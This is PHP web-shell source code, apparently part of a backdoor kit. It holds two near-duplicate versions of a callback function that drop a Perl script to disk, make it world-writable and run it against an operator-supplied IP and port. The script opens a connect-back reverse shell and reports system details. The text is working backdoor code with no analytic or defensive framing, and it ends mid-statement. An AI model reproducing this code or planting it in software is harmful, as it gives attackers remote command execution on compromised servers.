function callback($nscdir, $bip, $bport) { if (strstr(php_os, "WIN")) { $epath = "cmd.exe"; } else { $epath = "/bin/sh"; } if (is_writable($nscdir)) { $fp = fopen("back.pl", "w"); $backpl = 'back.pl'; } else { $fp = fopen("/tmp/back.pl", "w"); $backpl = '/tmp/back.pl'; } fwrite($fp, "use Socket;\n\$system='{$epath}';\n\$sys= 'echo \"[ Operating system ][\$]\"; echo \"`uname -a`\";\necho \"[ Curr DIR ][\$]\"; echo \"`pwd`\";echo;\necho \"[ User perms ][\$]\";echo \"`id`\";echo;\necho \"[ Start shell ][\$]\";';\n\nif (!\$ARGV[0]) {\n exit(1);\n}\n\$host = \$ARGV[0];\n\$port = 80;\nif (\$ARGV[1]) {\n \$port = \$ARGV[1];\n}\n\$proto = getprotobyname('tcp') || die('Unknown Protocol\n');\nsocket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n');\nmy \$target = inet_aton(\$host);\nif (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {\n die('Unable to Connect\n');\n}\nif (!fork( )) {\n open(STDIN,'>&SERVER');\n open(STDOUT,'>&SERVER');\n open(STDERR,'>&SERVER');\nprint '\n[ Bk-Code shell by Black-Code :: connect back backdoor by Crash_over_ride ]';\nprint '\n[ A-S-T team ][ Lezr.com ]\n\n'; \n system(\$sys);system (\$system);\n exit(0); }\n\t\t "); callfuncs("chmod 777 {$backpl}"); ob_start(); callfuncs("perl {$backpl} {$bip} {$bport}"); ob_clean(); print "<div><b><center>[ Selected IP is " . $_REQUEST['bip'] . " and port is " . $_REQUEST['bport'] . " ]<br>\n[ Check your connection now, if failed try changing the port number ]<br>\n[ Or Go to a writable dir and then try to connect again ]<br>\n[ Return to the Current dir ] [<a href=" . inclink('dlink', 'scurrdir') . "&scdir={$nscdir}> Curr-Dir </a>] \n</div><br>"; }
function callback($nscdir,$bip,$bport){ if(strstr(php_os,"WIN")){$epath="cmd.exe";}else{$epath="/bin/sh";} if (is_writable($nscdir)){ $fp=fopen ("back.pl","w");$backpl='back.pl';} else {$fp=fopen ("/tmp/back.pl","w");$backpl='/tmp/back.pl';} fwrite ($fp,"use Socket; \$system='$epath'; \$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\"; echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo; echo \"[ User perms ][$]\";echo \"`id`\";echo; echo \"[ Start shell ][$]\";'; if (!\$ARGV[0]) { exit(1); } \$host = \$ARGV[0]; \$port = 80; if (\$ARGV[1]) { \$port = \$ARGV[1]; } \$proto = getprotobyname('tcp') || die('Unknown Protocol\n'); socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n'); my \$target = inet_aton(\$host); if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) { die('Unable to Connect\n'); } if (!fork( )) { open(STDIN,'>&SERVER'); open(STDOUT,'>&SERVER'); open(STDERR,'>&SERVER'); print '\n[ Wardom Bu kodlar Megabros Tarafından kodlanmış Arka pLanı Programlanmıştır ]'; print '\n[ Wardom ][ Megabrosl ]\n\n'; system(\$sys);system (\$system); exit(0); } ");callfuncs("chmod 777 $backpl"); ob_start(); callfuncs("perl $backpl $bip $bport"); ob_clean(); print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br> [ Check your connection now, if failed try changing the port number ]<br> [ Or Go to a writable dir and then try to connect again ]<br> [ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>] </div><br>";}if (isset($_REQUEST['uback'])){